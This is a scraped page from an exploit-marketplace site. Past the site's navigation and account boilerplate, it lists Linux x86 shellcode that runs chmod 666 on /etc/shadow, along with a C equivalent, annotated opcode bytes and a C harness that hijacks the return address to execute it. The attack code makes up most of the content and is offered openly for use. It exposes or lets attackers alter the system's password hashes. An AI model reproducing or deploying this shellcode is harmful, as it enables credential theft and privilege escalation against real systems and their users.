0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86 chmod 666 /etc/shadow 82 bytes
[========================================
linux/x86 chmod 666 /etc/shadow 82 bytes
========================================
/*
* s0t4ipv6@Shellcode.com.ar
*
* Usando execve() y un array de punteros
*
* #include <stdio.h>
* main() {
* char *name[4];
* name[0]="/bin/chmod";
* name[1]="666";
* name[2]="/etc/shadow";
* name[3]=NULL;
* execve(name[0],name,NULL);
* }
*/
#include <stdio.h>
char shellcode[]=
"\xeb\x31" // jmp 0x31 // 3-4
"\x5e" // popl %esi // 5
"\x31\xc0" // xorl %eax, %eax // 6-7
"\x88\x46\x0a" // movb %al, 0xa(%esi) // 8-10
"\x88\x46\x0e" // movb %al, 0xe(%esi) // 11-13
"\x88\x46\x1a" // movb %al, 0x1a(%esi) // 14-16
"\x89\x76\x1b" // movl %esi, 0x1b(%esi) // 17-19
"\x8d\x7e\x0b" // leal 0xb(%esi), %edi // 20-22
"\x89\x7e\x1f" // movl %edi, 0x1f(%esi) // 23-25
"\x8d\x7e\x0f" // leal 0xf(%esi), %edi // 26-28
"\x89\x7e\x23" // movl %edi, 0x23(%esi) // 29-31
"\x89\x46\x27" // movl %eax 0x27(%esi) // 32-34
"\xb0\x0b" // movb $0xb, %al // 35-36 0xb to eax (syscall execve)
"\x89\xf3" // movl %esi, %ebx // 37-38 name[0] to ebx
"\x8d\x4e\x1b" // leal 0x1b(%esi),%ecx // 39-41
"\x8d\x56\x27" // leal 0x27(%esi),%edx // 42-44
"\xcd\x80" // int $0x80 // 45-46
"\x31\xc0" // xorl %eax, %eax // 47-48
"\x31\xdb" // xorl %ebx, %ebx // 49-50
"\x40" // inc %eax // 51
"\xcd\x80" // int $0x80 // 52-53
"\xe8\xca\xff\xff\xff" // call -0x36
"/bin/chmod06660/etc/shadow";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-16] #